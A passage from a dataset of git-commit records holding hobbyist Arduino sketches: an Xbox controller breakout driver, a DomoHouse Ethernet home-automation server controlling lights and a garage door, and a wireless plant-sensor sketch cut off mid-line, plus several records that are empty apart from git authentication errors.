byteBuffer1_blackBtn_chunk = Serial.parseInt();\n \/\/ == byte buffer n\u00b02 ==\n byteBuffer2_keypadRight_chunk = Serial.parseInt();\n byteBuffer2_keypadLeft_chunk = Serial.parseInt();\n byteBuffer2_keypadDown_chunk = Serial.parseInt();\n byteBuffer2_keypadUp_chunk = Serial.parseInt();\n byteBuffer2_startBtn_chunk = Serial.parseInt();\n byteBuffer2_backBtn_chunk = Serial.parseInt();\n byteBuffer2_rjoySel_chunk = Serial.parseInt();\n byteBuffer2_ljoySel_chunk = Serial.parseInt();\n \n \/\/ look for a line ending\n if( Serial.read() == '\\n' ){\n \/\/ update values \/ shift registers' chunks\n updateTriggers();\n updateJoysXY();\n updateShiftingBits();\n \/\/ update the shift registers\n updateShiftRegisters();\n \/\/ printout callback\n printSerialCallback();\n }\n }\n \/\/delay(3000); \/\/ blocking debug delay\n}\n\n\n\/\/ R: no analog-like behavior is yet implemented \nvoid updateTriggers(){\n if( ltrig_chunk == 1 ){ digitalWrite(ltrig_pin, HIGH); } else { digitalWrite(ltrig_pin, LOW); }\n if( rtrig_chunk == 1 ){ digitalWrite(rtrig_pin, HIGH); } else { digitalWrite(rtrig_pin, LOW); }\n}\n\n\n\/\/ R: constrain can be used to stay in the 0-255 range\n\/\/ = theorically \/ expected by Xbox Controller S =\n\/\/ fully forward 4.6V\n\/\/ nothing 2.3V\n\/\/ fully backward 0.0V\nvoid updateJoysXY(){\n handleJoystickAxis( ljoyX_chunk, ljoyX_DIR_pin, ljoyX_PWM_pin );\n handleJoystickAxis( ljoyY_chunk, ljoyY_DIR_pin, ljoyY_PWM_pin );\n handleJoystickAxis( rjoyX_chunk, rjoyX_DIR_pin, rjoyX_PWM_pin );\n handleJoystickAxis( rjoyY_chunk, rjoyY_DIR_pin, rjoyY_PWM_pin );\n}\n\n\nvoid updateShiftingBits(){\n \/\/ == byte buffer n\u00b01 ==\n bitWrite(byteBuffer1, 0, byteBuffer1_bBtn_chunk); \/\/ Q0 -> B Btn pin\n bitWrite(byteBuffer1, 1, byteBuffer1_xBtn_chunk); \/\/ Q1 -> X Btn pin\n bitWrite(byteBuffer1, 2, byteBuffer1_aBtn_chunk); \/\/ Q2 -> A Btn pin\n bitWrite(byteBuffer1, 3, byteBuffer1_yBtn_chunk); \/\/ Q3 -> Y Btn pin\n bitWrite(byteBuffer1, 4, byteBuffer1_whiteBtn_chunk); \/\/ Q4 -> white Btn pin\n bitWrite(byteBuffer1, 5, byteBuffer1_blackBtn_chunk); \/\/ Q5 -> black Btn pin\n \/\/ R: 1st shift register' Q6 & Q7 are not used\/connected, and thus are set but never updated \n \/\/ == byte buffer n\u00b02 ==\n \/\/if( byteBuffer2_keypadRight_chunk == 0 ){ bitSet(byteBuffer2, 0); } else { bitClear(byteBuffer2, 0); }\n bitWrite(byteBuffer1, 0, !byteBuffer2_keypadRight_chunk); \/\/ Q0 -> keypad right pin\n bitWrite(byteBuffer1, 1, !byteBuffer2_keypadLeft_chunk); \/\/ Q1 -> keypad left pin\n bitWrite(byteBuffer1, 2, !byteBuffer2_keypadDown_chunk); \/\/ Q2 -> keypad down pin\n bitWrite(byteBuffer1, 3, !byteBuffer2_keypadUp_chunk); \/\/ Q3 -> keypad up pin\n bitWrite(byteBuffer1, 4, !byteBuffer2_startBtn_chunk); \/\/ Q4 -> start Btn pin\n bitWrite(byteBuffer1, 5, !byteBuffer2_backBtn_chunk); \/\/ Q5 -> back Btn pin\n bitWrite(byteBuffer1, 6, !byteBuffer2_rjoySel_chunk); \/\/ Q6 -> rjoy SEL pin\n bitWrite(byteBuffer1, 7, !byteBuffer2_ljoySel_chunk); \/\/ Q7 -> ljoy SEL pin\n}\n\n\n\/\/ R: check if needed to shift out the shift registers in the inverse order ( aka 2nd then 1st )\nvoid updateShiftRegisters(){\n \/\/ = shift register n\u00b01 =\n digitalWrite(shRe_STCP_pin, LOW); \/\/prepare to write - latch pin LOW\n shiftOut(shRe_Dx_pin, shRe_SHCP_pin, MSBFIRST, byteBuffer1); \/\/ LSBFIRST = data from byte from bit 0 to bit 7\n \/\/ R: here we're using MSBFIRST to have the byte bits indexes 0 to 7 matches outputs indexes Q0 to Q7\n digitalWrite(shRe_STCP_pin, HIGH);\n \/\/ = shift register n\u00b02 =\n digitalWrite(shRe_STCP_pin, LOW); \/\/prepare to write\n shiftOut(shRe_Dx_pin, shRe_SHCP_pin, MSBFIRST, byteBuffer2);\n digitalWrite(shRe_STCP_pin, HIGH);\n}\n\n\nvoid printSerialCallback(){\n \/\/ triggers\n Serial.print(\"ltrig:\"); if( ltrig_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"rtrig:\"); if( rtrig_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n \/\/ joysticks\n Serial.print(\"ljoyY:\"); Serial.print(ljoyY_chunk); Serial.print(\"\/ljoyX:\"); Serial.print(ljoyX_chunk);\n Serial.print(\"\/ljoyS:\"); if( byteBuffer2_ljoySel_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.print(\"rjoyY:\"); Serial.print(rjoyY_chunk); Serial.print(\"\/rjoyX:\"); Serial.print(rjoyX_chunk);\n Serial.print(\"\/rjoyS:\"); if( byteBuffer2_rjoySel_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n \/\/ buttons\n Serial.print(\"btnBack:\"); if( byteBuffer2_backBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.print(\"btnStart:\"); if( byteBuffer2_startBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.print(\"btnBlack:\"); if( byteBuffer1_blackBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"btnWhite:\"); if( byteBuffer1_whiteBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"btnY:\"); if( byteBuffer1_yBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"btnA:\"); if( byteBuffer1_aBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"btnX:\"); if( byteBuffer1_xBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n Serial.print(\"btnB:\"); if( byteBuffer1_bBtn_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\n \/\/ Keypad\n Serial.print(\"keypadUp:\"); if( byteBuffer2_keypadUp_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); }\/\/ [def high]\n Serial.print(\"keypadDown:\"); if( byteBuffer2_keypadDown_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.print(\"keypadLeft:\"); if( byteBuffer2_keypadLeft_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.print(\"keypadRight:\"); if( byteBuffer2_keypadRight_chunk == 1 ){ Serial.print(\"on\/\"); } else { Serial.print(\"off\/\"); } \/\/ [def high]\n Serial.println(\"\");\n}\n\n\nvoid initUberJoy(int dirPin, int pwmPin){\n digitalWrite(dirPin, LOW);\n analogWrite(pwmPin, 0);\n}\n\n\n\/\/ \/!\\ R: below code is still in debugging & uses the V0.1a version of the uberjoy breakouts\n\/\/ accept a value from 0 to 256 & 2 pins to handle a joystick axis\n\/\/ - maps the value to a direction & a pwm value\n\/\/ - updates the 2 pins to reflect the value passed\nvoid handleJoystickAxis(int value, int dirPin, int pwmPin){\n if( value == 128 ){ \n Serial.print(\"value is 128 => don't source nor sink ..\"); Serial.println(\"\");\n analogWrite(pwmPin, 0); \/\/ whatever the direction, don't source nor sink\n } else if( value > 128 && value <= 256 ) { \/\/ forward => source\n Serial.print(\"value greater than 128 => sourcing ..\"); Serial.println(\"\");\n digitalWrite( dirPin, LOW ); \/\/ source\n analogWrite( pwmPin, map( value, 128, 256, 256, 0 ) ); \/\/ 128~256 => 0~256 for pwm forward\n } else if( value < 128 && value >= 0 ) { \/\/ backward => sink\n Serial.print(\"value smaller than 128 => sinking ..\"); Serial.println(\"\");\n digitalWrite( dirPin, HIGH ); \/\/ sink\n analogWrite( pwmPin, map( value, 0, 128, 256, 0 ) ); \/\/ 0~128 => 256~0 for pwm backward\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch\/Madtoyslab_XboxControllerSbreakout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e22fe00430e0bba00450c915addd579559b08942","subject":"Create DomoHouse.ino","message":"Create DomoHouse.ino","repos":"MaioSource\/DomoHouse,MaioSource\/DomoHouse,MaioSource\/DomoHouse,MaioSource\/DomoHouse","old_file":"DomoHouse.ino","new_file":"DomoHouse.ino","new_contents":"\/*\n\u250f\u2501\u2501\u2501\u2513\u254b\u254b\u254b\u254b\u254b\u254b\u254b\u254b\u250f\u2513\u254b\u250f\u2513\n\u2517\u2513\u250f\u2513\u2503\u254b\u254b\u254b\u254b\u254b\u254b\u254b\u254b\u2503\u2503\u254b\u2503\u2503\n\u254b\u2503\u2503\u2503\u2523\u2501\u2501\u2533\u2513\u250f\u2533\u2501\u2501\u252b\u2517\u2501\u251b\u2523\u2501\u2501\u2533\u2513\u250f\u2533\u2501\u2501\u2533\u2501\u2501\u2513\n\u254b\u2503\u2503\u2503\u2503\u250f\u2513\u2503\u2517\u251b\u2503\u250f\u2513\u2503\u250f\u2501\u2513\u2503\u250f\u2513\u2503\u2503\u2503\u2503\u2501\u2501\u252b\u2503\u2501\u252b\n\u250f\u251b\u2517\u251b\u2503\u2517\u251b\u2503\u2503\u2503\u2503\u2517\u251b\u2503\u2503\u254b\u2503\u2503\u2517\u251b\u2503\u2517\u251b\u2523\u2501\u2501\u2503\u2503\u2501\u252b\n\u2517\u2501\u2501\u2501\u253b\u2501\u2501\u253b\u253b\u253b\u253b\u2501\u2501\u253b\u251b\u254b\u2517\u253b\u2501\u2501\u253b\u2501\u2501\u253b\u2501\u2501\u253b\u2501\u2501\u251b\n\nDomoHouse is an easy-implementation module to control your house from internet through an app in your smartphone or tablet. \nIt consist in a client-server conection and it is all based on arduino platform. \n\nwww.DomoHouse.esy.es\n\nArduino file!\n\nArduino UNO\nEthernet shield\nLuz habitacion = pin 2\nLuz cocina = pin 3\nLuz living = pin 4\nLuz ba\u00f1o = pin 5\nLuz habitacion sec = pin 6\nLuz comedor = pin 7\nSensor ba\u00f1o = pin 8\nSensor humedad y temperatura = pin 9\nLuz corredor = pin 15\npuente h = IN1(pin 14) IN2(pin 19)\n\nEnjoy it!\n\n*\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <DHT11.h>\n\n\nString readString;\n\n\/\/Definimos una MAC y una IP para el arduino\nbyte mac[] = { 0xDE,0xAD,0xBE,0xFF,0xFE,0xED };\nbyte ip[] = { 192, 168, 0, 50 };\nbyte gateway[] = { 192, 168, 0, 1 }; \nbyte subnet[] = { 255, 255, 255, 0 }; \n\nDHT11 dht11(9);\n\n\/\/Habitacion Principal\nint luzHabitacion = 2;\nint estadoLuzHabitacion = 0;\n\/\/Habitacion secundaria\nint luzHabitacionSec = 6;\nint estadoLuzHabitacionSec = 0;\n\/\/Cocina\nint luzCocina = 3;\nint estadoLuzCocina = 0;\n\/\/Comedor\nint luzComedor = 7;\nint estadoLuzComedor = 0;\n\/\/Living\nint luzLiving = 4;\nint estadoLuzLiving = 0;\n\/\/Ba\u00f1o\nconst int sensorTocador = 8;\nconst int luzTocador = 5;\nint estadoSensorTocador = 0;\n\/\/Garage\nint puertaAbrir = 14;\nint puertaCerrar = 19;\nint estadoGarage = 0;\n\/\/Corredor\nint luzCorredor = 15;\nint estadoLuzCorredor = 0;\n\/\/Alarma\nint estadoAlarma = 0;\nEthernetServer server(80);\n\nvoid setup() {\n pinMode(luzHabitacion, OUTPUT);\n pinMode(luzHabitacionSec, OUTPUT);\n pinMode(luzTocador, OUTPUT);\n pinMode(sensorTocador, INPUT);\n pinMode(luzCocina, OUTPUT);\n pinMode(luzLiving, OUTPUT);\n pinMode(luzComedor, OUTPUT);\n pinMode(puertaAbrir, OUTPUT);\n pinMode(puertaCerrar, OUTPUT);\n pinMode(luzCorredor, OUTPUT);\n Serial.begin(9600);\n \/\/Iniciamos el servidor\n Ethernet.begin(mac, ip, gateway, subnet);\n server.begin();\n \n}\n\nvoid loop() {\n\n ethernet();\n habitacion();\n cocina();\n living(); \n tocador();\n habitacionSec();\n comedor();\n corredor(); \n}\n\n\/\/Hacemos conexion con el servidor\nvoid ethernet ()\n{\n\n\/\/float temperatura = T();\n\/\/int humedad = H();\n \/\/ Serial.println(humedad);\n \/\/ Serial.println(temperatura);\n\n\n EthernetClient client = server.available();\n\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\"); \n client.println(\"Refresh: 1\"); \n client.println();\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n client.println(\"<center>\");\n client.print(\"20\");\n client.println(\"C\");\n client.print(\"41\");\n client.println(\"%\");\n client.println(\"<\/center>\");\n client.println(\"<\/html>\");\n if (client) \n {\n \n boolean newLine = true;\n String line = \"\";\n while (client.connected() && client.available()) \n {\n char c = client.read();\n \n if (c == '\\n')\n {\n newLine = true;\n programa(line);\n line = \"\";\n } \n else if (c != '\\r') \n {\n newLine = false;\n line += c; \n }\n\n }\n programa(line);\n delay(1);\n client.stop(); \n }\n}\n\n\/\/Hacemos conexion con la app \nvoid programa(String line)\n{ \n if (line.startsWith(\"tag\", 0)) {\n String android = line.substring(4, line.length());\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"A\") \n estadoLuzHabitacion = 1;\n if (android == \"B\") \n estadoLuzHabitacion = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/VENTANA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"C\") \n estadoAlarma = 0;\n if (android == \"D\") \n estadoAlarma = 1;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COCINA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COCINA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COCINA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"E\") \n estadoLuzCocina = 1;\n if (android == \"F\") \n estadoLuzCocina = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COMEDOR\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COMEDOR\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/COMEDOR\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"K\") \n estadoLuzComedor = 1;\n if (android == \"L\") \n estadoLuzComedor = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/LIVING\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/LIVING\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/LIVING\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"G\") \n estadoLuzLiving = 1;\n if (android == \"H\") \n estadoLuzLiving = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION2\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION2\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/HABITACION2\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"I\") \n estadoLuzHabitacionSec = 1;\n if (android == \"J\") \n estadoLuzHabitacionSec = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Garage\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Garage\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Garage\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"M\") \n {\n digitalWrite(puertaAbrir, 1);\n digitalWrite(puertaCerrar,0); \n delay(1000);\n digitalWrite(puertaAbrir, 0);\n digitalWrite(puertaCerrar,0);\n digitalWrite(16, HIGH);\n }\n if (android == \"N\")\n {\n digitalWrite(puertaCerrar,1);\n digitalWrite(puertaAbrir,0);\n delay(1000);\n digitalWrite(puertaAbrir, 0);\n digitalWrite(puertaCerrar,0);\n digitalWrite(16, LOW);\n }\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Corredor\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Corredor\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Corredor\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n if (android == \"O\") \n estadoLuzCorredor = 0;\n if (android == \"P\") \n estadoLuzCorredor = 1;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ALARMA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ALARMA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ALARMA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ if (android == \"S\")\n\/\/ {\n\/\/ estadoAlarma = 1;\n\/\/ Serial.print(estadoAlarma);\n\/\/ estado=Serial.read();\n\/\/ if(estado==0){\n\/\/ analogWrite(alarma,138);\n\/\/ }\n\/\/ \n\/\/ }\n\/\/ if (android == \"T\")\n\/\/ {\n\/\/ estadoAlarma = 0;\n\/\/ Serial.print(estadoAlarma);\n\/\/ }\n \n \n }\n}\n\n\/\/Control de la habitacion\nvoid habitacion()\n{\n if (estadoLuzHabitacion == 1)\n {\n digitalWrite(luzHabitacion, HIGH);\n }\n if (estadoLuzHabitacion == 0)\n {\n digitalWrite(luzHabitacion, LOW); \n }\n} \n\n\/\/Control de la habitacion Secundaria\nvoid habitacionSec()\n{\n if (estadoLuzHabitacionSec == 1)\n {\n digitalWrite(luzHabitacionSec, HIGH);\n }\n if (estadoLuzHabitacionSec == 0)\n {\n digitalWrite(luzHabitacionSec, LOW); \n }\n}\n\/\/Control de la cocina\nvoid cocina()\n{\n if (estadoLuzCocina == 1)\n {\n digitalWrite(luzCocina, HIGH);\n }\n if (estadoLuzCocina == 0)\n {\n digitalWrite(luzCocina, LOW); \n }\n}\n\/\/Control del comedor\nvoid comedor()\n{\n if (estadoLuzComedor == 1)\n {\n digitalWrite(luzComedor, HIGH);\n }\n if (estadoLuzComedor == 0)\n {\n digitalWrite(luzComedor, LOW); \n }\n}\n\n\/\/Control del living\nvoid living()\n{\n if (estadoLuzLiving == 1)\n {\n digitalWrite(luzLiving, HIGH);\n }\n if (estadoLuzLiving == 0)\n {\n digitalWrite(luzLiving, LOW); \n }\n}\n\n\/\/Luz Ba\u00f1o\nvoid tocador()\n{\n estadoSensorTocador = digitalRead(sensorTocador);\n if(estadoSensorTocador == 1)\n {\n digitalWrite(luzTocador, HIGH);\n \n }\n else\n {\n digitalWrite(luzTocador, LOW);\n }\n \n}\nint T()\n{\n int estadoT=0;\n float temp, hum;\n if((estadoT = dht11.read(hum, temp)) == 0) \n {\n \/\/ Serial.print(temp);\n \/\/ Serial.println(\" C\");\n \/\/ Serial.print(hum);\n \/\/ Serial.println(\" %\");\n }\n \n \n return temp;\n}\nint H()\n{\n int estadoH;\n float temp, hum;\n if((estadoH = dht11.read(hum, temp)) == 0) \n {\n \/\/ Serial.print(temp);\n \/\/ Serial.println(\" C\");\n \/\/ Serial.print(hum);\n \/\/ Serial.println(\" %\");\n }\n \n \n return hum;\n}\n\n\/\/void garage() \n\/\/{\n\/\/\n\/\/ digitalWrite(puertaAbrir, LOW);\n\/\/ digitalWrite(puertaCerrar, HIGH);\n\/\/ delay(1000);\n\/\/ digitalWrite(puertaAbrir, LOW);\n\/\/ digitalWrite(puertaCerrar, LOW);\n\/\/ loop();\n\/\/}\n\/\/void garageCerrar() \n\/\/{\n\/\/\n\/\/ digitalWrite(puertaAbrir, LOW);\n\/\/ digitalWrite(puertaCerrar, HIGH);\n\/\/ delay(1000);\n\/\/ digitalWrite(puertaAbrir, LOW);\n\/\/ digitalWrite(puertaCerrar, LOW);\n\/\/ loop();\n\/\/\n\/\/}\n\nvoid corredor()\n{\n if (estadoLuzCorredor == 1)\n {\n digitalWrite(luzCorredor, HIGH);\n }\n if (estadoLuzCorredor == 0)\n {\n digitalWrite(luzCorredor, LOW); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DomoHouse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a50657097df9d8657f3830d30c6af3b397af2533","subject":"Polished code","message":"Polished code\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"wbox2.ino","new_file":"wbox2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d7748f7bcc40e23666ae6f352b141579d30eb137","subject":"demo one","message":"demo one\n","repos":"jacobyan\/Arduino_Demo,jacobyan\/Arduino_Demo,jacobyan\/Arduino_Demo,jacobyan\/Arduino_Demo","old_file":"random_RGBledStrip\/random_RGBledStrip.ino","new_file":"random_RGBledStrip\/random_RGBledStrip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jacobyan\/Arduino_Demo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"79da957f59e6fe5a428d6f6ee31a4d4db85eb584","subject":"small fixes","message":"small fixes\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot3.ino","new_file":"motor_robot3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3c973873cfb97452aaf41452c6592c44ceb2744a","subject":"Set touchscreen offsets","message":"Set touchscreen offsets\n","repos":"TFTLibraries\/Widgets","old_file":"examples\/PICadillo-35T\/Buttons\/Buttons.ino","new_file":"examples\/PICadillo-35T\/Buttons\/Buttons.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/Widgets.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"840f9a50e671bc8eacf4f2372acac3eb2d66a8ab","subject":"Added arduino script","message":"Added arduino script","repos":"rahulpopuri\/plants,rahulpopuri\/plants,rahulpopuri\/plants,rahulpopuri\/plants,rahulpopuri\/plants","old_file":"scripts\/plants_wireless.ino","new_file":"scripts\/plants_wireless.ino","new_contents":"#include <nRF24L01.h>\n#include <printf.h>\n#include <RF24.h>\n#include <RF24_config.h>\n#include <SPI.h>\n\n#include <DallasTemperature.h>\n\n#include <OneWire.h>\n\nconst int LIGHT_SENSOR_ID = 1;\nconst int TEMP_SENSOR_ID = 2;\nconst int MOISTURE_SENSOR_1_ID = 3;\nconst int MOISTURE_SENSOR_2_ID = 4;\nconst int MOISTURE_SENSOR_3_ID = 5;\n\n\/* Analog *\/\nconst int lightSensorPin = 0;\nconst int m1Pin = 1;\nconst int m2Pin = 2;\nconst int m3Pin = 3;\n\n\/* Digital *\/\nconst int tempSensorPin = 2;\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices \n\/\/ (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(tempSensorPin);\n \n\/\/ Pass our oneWire reference to Dallas Temperature.\nDallasTemperature sensors(&oneWire);\n\nint lightLevel, temp, m1,m2,m3 = 0;\n\nRF24 radio(9,10);\n\nvoid setup() {\n radio.begin();\n radio.setPALevel(RF24_PA_MAX);\n radio.setChannel(0x76);\n radio.openWritingPipe(0xF0F0F0F0E1LL);\n radio.enableDynamicPayloads();\n radio.powerUp();\n\n \/\/ Turn off moisture sensor\n pinMode(3,OUTPUT);\n digitalWrite(3,LOW);\n sensors.begin();\n \n}\n\nvoid sendRadioMessage(String s){\n char msgChar[100];\n s.toCharArray(msgChar,100);\n radio.write(&msgChar,sizeof(msgChar));\n}\n\nvoid loop() {\n digitalWrite(3,HIGH);\n delay(500);\n lightLevel = analogRead(lightSensorPin);\n sensors.requestTemperatures();\n temp = sensors.getTempCByIndex(0);\n\n m1 = analogRead(m1Pin);\n m2 = analogRead(m2Pin);\n m3 = analogRead(m3Pin);\n\n digitalWrite(3,LOW);\n String lightMsg = String(LIGHT_SENSOR_ID) + \":\" + lightLevel;\n String tempMsg = String(TEMP_SENSOR_ID) + \":\" + temp;\n String m1Msg = String(MOISTURE_SENSOR_1_ID) + \":\" + m1;\n String m2Msg = String(MOISTURE_SENSOR_2_ID) + \":\" + m2;\n String m3Msg = 